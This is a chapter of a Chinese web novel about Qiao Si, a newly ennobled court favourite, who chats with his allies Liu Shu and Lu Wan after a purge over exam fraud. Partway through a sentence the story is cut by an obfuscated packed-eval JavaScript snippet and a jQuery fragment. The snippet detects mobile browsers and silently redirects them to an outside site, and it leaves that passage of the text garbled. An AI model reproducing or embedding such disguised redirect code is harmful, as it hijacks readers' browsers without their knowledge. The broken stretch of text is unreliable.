太后搬离皇宫，自此便算是被软禁在遥远的庙宇之中，权势溃散不说，今后还能活几日都是个未知数。
晋王大受打击，气愤不已，当夜便大病一场。
而这个仇，自然被他记在了乔家头上。
如果不是乔肆，不是乔家那群老狐狸，他怎么会功败垂成？
但很快，晋王就自顾不暇了。
随着科举舞弊之事被揭发，皇帝直接下令彻查此案的所有相关人员，依罪行分别流放、罢黜、抄家、斩首示众。
一番整顿之下，太后与晋王费心费力多年来安插在朝廷的人几乎空了七成，从上到下空出的职位也数不胜数，京城中每日问斩三五人，一连就斩了半个月。
刑场的鲜血已经几日未曾干涸。
两朝以来，还是头一次同时处斩这么多朝廷命官。
朝野之中不少人私下里颇有异议，认为皇帝太过残暴独断，不留情面，连买官后并未作恶的人也没从轻处罚，并将如今备受宠信的乔肆视为佞臣，不然他没有任何功名在身、凭什么能轻易封侯。
尤其是乔家的人，这些时日越发趾高气昂，更是坐实了乔肆并非忠良的偏见。
也就是民间要略有不同。
百姓看到贪官污吏被斩首，只拍手叫好还来不及，更别提抄家后的钱财除了充入国库，在民间广修学堂。
主考官已经斩首，刘疏便成了新任主考官。
在刘疏的建议下，春闱期间的考试场地也重新整修了一翻，家中困难的考生，可免费领取朝廷提供的三餐。
因为诸多官位空置，几日后的春闱直接广开贤路，沛施恩科，增阅卷考官15人，今科录取人数增加进士五十人，为社稷储才。
一时间，无数关于科举舞弊案的传闻在坊间传开，一扫之前的神鬼之说带来的阴霾。
为此，戏台子特意新出了三出戏，分别以皇帝、乔肆、刘疏为主要角色编了脍炙人口的戏曲，其中乔肆的那出戏最受欢迎。
说的是，祥瑞侯宝剑斩妖道，少年郎讽谏夺青天。
戏曲中的内容夸张了些，玄幻了些，却唯独在乔肆那无所顾忌的言行方面很是还原，
而刘疏则是因为众多考生谋福祉，因本人极其低调，戏曲中唱的不多，但其画像被诸多考生直接供了起来。
对此，乔肆感到很不可思议。
“为什么你的画像这么威武霸气？根本就不像你！为什么我的画像就这么细致画的这么花里胡哨？我什么时候在头上簪过花啊！”
同样是科举舞弊案的功臣，同样是被编了戏曲画了像的，乔肆莫名感觉他怎么好像在大家心目中的定位就那么不太一样呢？
刘疏已经回到了朝堂，因为要做主考官，这些日子更是要闭门谢客，好好避嫌一番，此刻也就能在陛下的默许下和乔肆多聊天解闷。
因为乔肆和陆晚的帮助，他这次得以全身而退，再加上晋王那边自顾不暇，他算是暂时安全了，此刻也多了几分打趣说笑的闲心。
“乔大人确实容貌过人，颇具天人之姿，受到百姓们的喜爱也是正常的，”
刘疏笑着与他认真解释起来，
“大家也心中也都清楚，您当然是凡人，戏曲只是戏曲里的故事，只是想借个由头来追随您罢了。但是在下毕竟身份不同，不适合太抛头露面，被人误解了长相，反而能更具威严，免得有些考生还没开始考试呢，就先入为主觉得我脾气软、好说话了。”
“怎么，我看起来很好说话，脾气很软吗？”
乔肆指着自己，更加惊讶道，“还有什么天人之姿，你这话自己听着不牙酸吗？不知道的还以为我是靠什么让皇帝封赏的呢。”
刘疏听了，脸上的笑意却是淡了三分。
皇帝为何如此大张旗鼓地封赏乔肆，其中真相和用意……恐怕只有乔肆本人不知道了。
说是捧杀也好，故意让乔肆在这个关头当靶子也罢，总归并非表面上看起来这么风光无限。
他只是成了主考官，就已经不得不谨慎防范，陆晚更是从始至终没有姓名，若是那些想要报复的人需要寻到个泄愤之人，乔肆恐怕会首当其冲。
就算是乔家……恐怕也不会帮上多少。
在乔肆得到大量封赏的同时，乔家几乎没在这次沾上多少光，反而引得了乔大乔二的嫉妒，身为兄长，见到乔肆再也无法颐指气使，甚至要对他行礼。
刘疏并不知道太多乔家内部的恩怨，只知道乔肆不喜欢他们，那二人偶然间看向乔肆的目光也有些不善。
乔肆是他的救命恩人，他实在不愿看对方吃亏，但眼下无凭无据还不是提醒的时机，他更加无从得知乔肆的立场如何，是否像他一样、是心甘情愿站在这个位子替陛下效力的，
思虑再三，刘疏只能恳切提醒道，
“乔大人，此番闹得太大，许多人都在盯着您，万事小心。”
乔肆不以为然地摆摆手，
“要是靠小心就能使得万里船，我就不会——”
“不会什么？”
侯爷府崭新的院落中，一道人影忽然落在二人身旁，随手就拿走了刘疏手中的酒杯一饮而尽，然后旋身落座。
乔肆高兴喊他，
“陆大侠！”
“诶，别这么喊我。”
陆晚推辞，“刚得了消息，汪太医已经查出毒药中最关键几味药材的来源了，你们猜，是从哪儿来的？”
刘疏重新拿起新的杯子倒酒，
“别卖关子了，猜不到。”
“西域。”
刘疏皱起眉头，三人同时陷入沉默。
先皇在世时，萧大将军收复失地，后来就是西域求和，送来了一个和亲的公主。
如今，那公主已是晋王的王妃。
“西域的牛羊肉是真的好吃啊！”
乔肆率先打破了沉默，陷入遐想，“这么多人送值钱的东西，怎么就没人送个西域烤全羊？”
说着，乔肆就叹了口气。
他今天好不容易能出宫，就叫了刘疏躲在后院，就是因为他刚回来面对的就是堆满了正堂的礼品、拜帖。
活了这么几辈子，他还是头一次有自己独门独户的住处，不是住在什么乔家的别院，也不是在宫里头跟个冷宫的妃子一样被软禁。
加上他这个宠臣的身份一传开，各路人马都来试探拜会，屋子里除了礼物就是皇帝御赐的各种东西，整个侯爷府金碧辉煌、好不气派！
就连府邸内的花瓶、假山，都是价值连城的那种！
他不需要！！！
乔肆原本就不想要这些东西，正好皇帝给他安排了个管家，他就直接乐得清闲，把清点礼单、拜帖，收拾布置侯爷府的种种杂活儿全都交给管家一手操办了，结果几天后回来就差点被闪瞎了眼！
每一刻珍珠都在闪闪发光，每一个值钱物件都在昭示着他距离成功诛九族的目标有多远，每一个陌生或熟悉的拜帖都是令人牙酸倒胃口的虚伪社交……
乔肆一度气得想
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16264673|181833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
把这些东西全都扔了送人了捐出去！
结果管家听了，连连称赞他“视金钱如粪土”、“宅心仁厚”、“大公无私”，各种溢美之词都一起堆上来了，吓得乔肆连忙作罢，其他人送的礼物拜帖都不敢拒收了，生怕自己看起来太清高。
他还得努力维持他的大佞臣大反派人设呢！！他要老奸巨猾！要邪恶阴险！仗势欺人自私自利！
虽然现在已经距离诛九族很远了，但不能就此放弃啊！
也就是这个后院，还没来得及布置好，通着的后门也一直关着，还算清静一点。
再加上刘疏陆晚这几日和他也书信往来有无，不算陌生人。乔肆了解他们的为人，知道他们不会因为自己如今的境遇就区别对待，才能放心的趴在桌子上咸鱼一会儿。
“侯爷！”
正聊着，管家推门来到了后院，笑着来到乔肆身边，“见过两位大人。”
“……不见客！”
乔肆已经条件反射了。
“不是客人，侯爷，是乔家派人来喊您回家聚聚呢，说是刚到了一批上好的美酒。”
“……”
乔家？
乔肆终于从桌上直起身子，
“啧，怕不是鸿门宴。”
陆晚见状问道，
“会有危险？”
乔肆摇头，“这倒不至于，他们疯了才会做多余的事。”
上次在法事上大闹一场，乔尚书可是气得不行。
他没有按照约定帮乔家做事，也不把宫内的消息往外传，如今乔家人应该都知道他不像过去那么听话了。
“如果不想去就不去了。”
陆晚对这些事情看得很开，“刚才忘了说，陛下宣你入宫一同用晚膳。”
虽然距离晚膳还有很长一段时间，但这个完全可以作为不回乔家的借口。
“我才刚出宫不到半天！又喊我回去干什么？？”
乔肆震惊地睁大了眼睛，
“我连怎么回家还没记住呢！！”
陆晚和刘疏对视一眼——他一直这样吗？
刘疏看着他摇摇头——陛下都没说呢，咱们管不了。
他只好劝了一句，“不想入宫也好，反正解药已经有了，你干脆跟我习武练剑，改日直接拜师，随我一同逃离京城，远离这些尔虞我诈的朝堂之事。”
“算了我还是回乔家然后进宫吧。”
乔肆起身就走。
乔家是早晚要面对要搞的，皇帝是早晚要去当面作死继续闹的。
至于江湖？他那天只是短暂地借了一下陆晚的宝剑，玩儿了闹了那么一下，胳膊到现在都在发酸，手掌心也磨破了一点皮，疼死了。
“对了。”
临走时乔肆才想起来问他，
“那些罪证是你偷来送给乔家的吗？”
“是。”
“狗……够辛苦的啊，是皇帝让你这么做的？”
“是。”
“……”乔肆沉思片刻，
“乔家没几个好东西，以后还是离他们远点吧。”
陆晚笑了。
他早就听说过一些乔家的手段，但听到乔家人自己这样劝他还是头一回。
“以后也离我远一点吧。”
乔肆临走摆摆手，
“跟我扯上关系也没什么好事的，以后别人问起，还是继续装不认识我吧。”
毕竟，等到他诛九族那天，谁要是跟他走得太近，可也是会被牵连的。